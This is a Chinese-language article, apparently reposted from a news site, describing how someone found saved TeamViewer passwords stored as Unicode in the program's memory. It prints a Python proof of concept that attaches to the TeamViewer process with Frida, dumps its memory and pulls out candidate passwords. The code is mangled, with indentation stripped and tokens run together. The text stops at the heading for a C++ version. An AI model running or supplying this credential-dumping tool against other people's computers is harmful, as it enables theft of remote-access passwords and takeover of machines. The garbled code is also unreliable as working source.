从TeamViewer的运行内存中提取密码
http://www.toutiao.com/a6450771078498763021/?tt_from=mobile_qq&utm_campaig
n=client_share&app=news_article&utm_source=mobile_qq&iid=13287414181&utm_medium=toutiao_android
从TeamViewer的运行内存中提取密码
TeamViewer是一款远程连接神器,相信众多的IT运营者对他不陌生。只要知道目标电脑的TeamViewer ID和密码,就可以远程连接到该台电脑。该软件的功能有点像Windows自带的远程桌面,但是远比远程桌面来的强大,特别是你的目标连接设备处于内网的情况下,TeamViewer也能轻而易举地连接上。
最近,有人写了两段小程序,顺利地从TeamViewer运行的内存中获取到了TeamViewer的密码。事情的起因是这样的:他在自己的windows上操作远程VPS主机的时候发现,只要第一次输入了远程电脑的TeamViewer密码之后。下次打开TeamViewer再次连接该主机时,密码会自动填充。好奇心来的太快就像龙卷风,他想:那这密码肯定存储在了电脑中了,可以通过某种手段将它取出来。:
于是折腾开始了,扫描TeamViewer的运行运存发现如下:
通过比对自己的TeamViewer密码,发现该密码是以Unicode的形式存储在内存中。如上图,天蓝色区域的字节为密码部分,第一个红色为起始标记数据,第二个红色为结束的标记数据,有些时候结束的标记数据可能是( 00 00 00 20 00 00)。
为了使用代码提取出密码,这位大牛写了两个程序:Python版本和C++版本。
首先通过使用Frida库,将python脚本附加到TeamViewer.exe进程,获取该进程下每个库的地址和内存大小,然后开始搜索开始为[00 88]字节到结束为[00 00 00]字节这一段中间的内容,然后再将他们根据密码规则和要求解码出来。
C++版本运行后,你可以得到密码"asdQWE123"。
其中python文件TV_POC.py代码如下
import frida
import re
PERMS='rw-'
process ="TeamViewer.exe"
session = frida.attach(process)
print"Attached to process."
mems=session.enumerate_ranges(PERMS)
data_dump=[]
print"Check %s libs."%(len(mems))
for mem in mems:
dump =session.read_bytes(mem.base_address, mem.size)
beg=chr(int('00',16))+chr(int('88',16))
end=chr(int('00',16))+chr(int('00',16))+chr(int('00',16))
for i in dump.split(beg):
if i.find(end)>0and i.index(end)<=33:
data = i[:(i.index(end)+6)]
data_dump.append(data)
session.detach()
print"Cleaning..."
mag_dump_mask_1=[]
mag_dump_mask_2=[]
for i in data_dump:
try:
if i.endswith(chr(int('20',16))+chr(int('00',16))+chr(int('00',16))):
i=i[:len(i)-5]
fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))
if fnd:
iflen(fnd)==len(i)/2:
mag_data=unicode(i.replace(chr(int('00',16)),""))
regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>[email protected][\]^_`{|}~]*$'
if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):
mag_dump_mask_1.append(mag_data)
else:
i=i[:len(i)-5]
fnd = re.findall('[0-9a-f]{2}00',i.encode('hex'))
if fnd:
iflen(fnd)==len(i)/2:
mag_data=unicode(i.replace(chr(int('00',16)),""))
regx=ur'^[a-zA-Z0-9!"#$%&'()*+,-./:;<=>[email protected][\]^_`{|}~]*$'
if re.compile(regx,re.U).match(mag_data) andlen(mag_data)>=4andnot re.match(".*.[w]{2,4}$",mag_data):
mag_dump_mask_2.append(mag_data)
except:
pass
iflen(mag_dump_mask_1)>0:
print"Potential values:"
for i in mag_dump_mask_1:
print i
else:
ind =len(mag_dump_mask_2)
for i in mag_dump_mask_2:
if re.match("^[0-9]*$",i) and mag_dump_mask_2.count(i)>=2:
if mag_dump_mask_2.index(i)<ind:
ind = mag_dump_mask_2.index(i)
print"Possible values: "
for i in mag_dump_mask_2[ind:]:
if mag_dump_mask_2[ind:].count(i) ==1:
print i
C++文件main.cpp代码如下: